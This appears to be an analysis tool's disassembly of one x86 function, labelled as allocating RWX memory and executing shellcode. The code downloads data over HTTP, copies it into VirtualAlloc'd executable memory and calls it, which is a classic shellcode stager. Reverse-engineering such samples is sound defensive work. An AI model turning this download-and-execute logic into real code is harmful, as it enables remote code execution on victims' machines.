Function at 0x401330
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x43a1c0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x12c
push ebx
push esi
push edi
xor esi, esi
mov dword [ebp - 0x10], esp
push esi
push esi
push esi
push esi
push 1
push 0xf4c1e0
lea ecx, [ebp - 0x30]
mov byte [ebp - 0x15], 0
call fcn.00430c9f
push esi
lea eax, [ebp - 0x14]
push 4
mov edi, 0x1388
push eax
push 2
lea ecx, [ebp - 0x30]
mov dword [ebp - 4], esi
mov dword [ebp - 0x14], edi
call fcn.00430f4f
push esi
lea ecx, [ebp - 0x14]
push 4
push ecx
push 5
lea ecx, [ebp - 0x30]
mov dword [ebp - 0x14], edi
call fcn.00430f4f
push esi
lea edx, [ebp - 0x14]
push 4
push edx
push 6
lea ecx, [ebp - 0x30]
mov dword [ebp - 0x14], edi
call fcn.00430f4f
push esi
lea eax, [ebp - 0x14]
push 4
push eax
push 7
lea ecx, [ebp - 0x30]
mov dword [ebp - 0x14], edi
call fcn.00430f4f
push esi
lea ecx, [ebp - 0x14]
push 4
push ecx
push 8
lea ecx, [ebp - 0x30]
mov dword [ebp - 0x14], edi
call fcn.00430f4f
mov edx, dword [ebp + 8]
push esi
push esi
push 0x84000002
xor ebx, ebx
push 1
push edx
lea ecx, [ebp - 0x30]
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x14], ebx
mov byte [ebp - 4], 1
call fcn.00430d9a
mov edi, eax
lea eax, [ebp - 0x34]
push eax
mov ecx, edi
mov dword [ebp - 0x1c], edi
call fcn.004317f9
mov eax, dword [ebp - 0x34]
cmp eax, 0xc8
jne 0x401526
lea ecx, [ebp + 8]
push esi
push ecx
push 5
mov ecx, edi
mov dword [ebp + 8], esi
call fcn.004317d2
mov eax, dword [ebp + 8]
cmp eax, esi
jbe 0x401570
add eax, 8
push eax
call fcn.0040a4b0
mov ebx, eax
add esp, 4
cmp ebx, esi
mov dword [ebp - 0x14], ebx
jne 0x40147e
push 0x10
push 0xf4c1d8
push 0xf4c1bc
push esi
call dword [sym.imp.USER32.dll_MessageBoxA]
lea ecx, [ebp - 0x30]
mov dword [ebp - 4], 0xffffffff
call fcn.00430c5a
xor al, al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov edx, dword [ebp + 8]
xor eax, eax
mov edi, ebx
lea ecx, [edx + 8]
mov edx, ecx
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov eax, dword [ebp + 8]
cmp esi, eax
jae 0x4014ce
sub eax, esi
cmp eax, 0x800
jb 0x4014ab
mov eax, 0x800
mov ecx, dword [ebp - 0x1c]
push eax
lea eax, [esi + ebx]
mov edx, dword [ecx]
push eax
call dword [edx + 0x34]
test eax, eax
jg 0x4014ca
push 0x10
push 0xf4c1d8
push 0xf4c19c
jmp 0x4014ee
add esi, eax
jmp 0x401496
push 0x40
push 0x1000
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
test eax, eax
jne 0x401504
push 0x10
push 0xf4c1d8
push 0xf4c174
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push ebx
call fcn.0040a3c7
add esp, 4
jmp 0x40145c
mov ecx, dword [ebp + 8]
mov esi, ebx
mov edx, ecx
mov edi, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call eax
mov edi, dword [ebp - 0x1c]
mov byte [ebp - 0x15], 1
xor esi, esi
jmp 0x401563
mov ecx, dword [0xf4c46c]
mov dword [ebp + 8], ecx
push eax
lea edx, [ebp + 8]
push 0xf4c154
push edx
mov byte [ebp - 4], 2
call fcn.00418888
mov eax, dword [ebp + 8]
add esp, 0xc
push 0x10
push 0xf4c148
push eax
push esi
call dword [sym.imp.USER32.dll_MessageBoxA]
lea ecx, [ebp + 8]
mov byte [ebp - 4], 1
call fcn.0041e44e
cmp ebx, esi
je 0x401570
push ebx
call fcn.0040a3c7
add esp, 4
cmp edi, esi
je 0x401584
mov edx, dword [edi]
mov ecx, edi
call dword [edx + 0x4c]
mov eax, dword [edi]
push 1
mov ecx, edi
call dword [eax + 4]
lea ecx, [ebp - 0x30]
mov dword [ebp - 4], 0xffffffff
call fcn.00430c5a
mov ecx, dword [ebp - 0xc]
mov al, byte [ebp - 0x15]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret